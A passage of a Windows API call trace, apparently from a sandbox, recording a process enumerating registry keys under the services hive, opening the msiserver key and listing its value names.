cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0212.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0212.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0212.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0212.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0212.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0212.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0212.895] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0212.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0212.897] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0212.898] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0212.899] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0212.900] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0212.901] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0212.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0212.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0212.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0212.904] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0212.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0212.905] RegCloseKey (hKey=0x148) returned 0x0 [0212.905] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0212.905] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0212.905] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0212.905] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0212.909] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0212.910] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0212.910] RegCloseKey (hKey=0x80000002) returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0212.910] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0212.911] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0212.911] RegCloseKey (hKey=0x154) returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0212.911] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0212.911] RegCloseKey (hKey=0x148) returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0212.911] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0212.912] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0212.912] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0212.912] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0212.912] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.912] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.912] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.912] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.912] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.912] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.912] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.913] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.913] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.913] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0212.913] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, 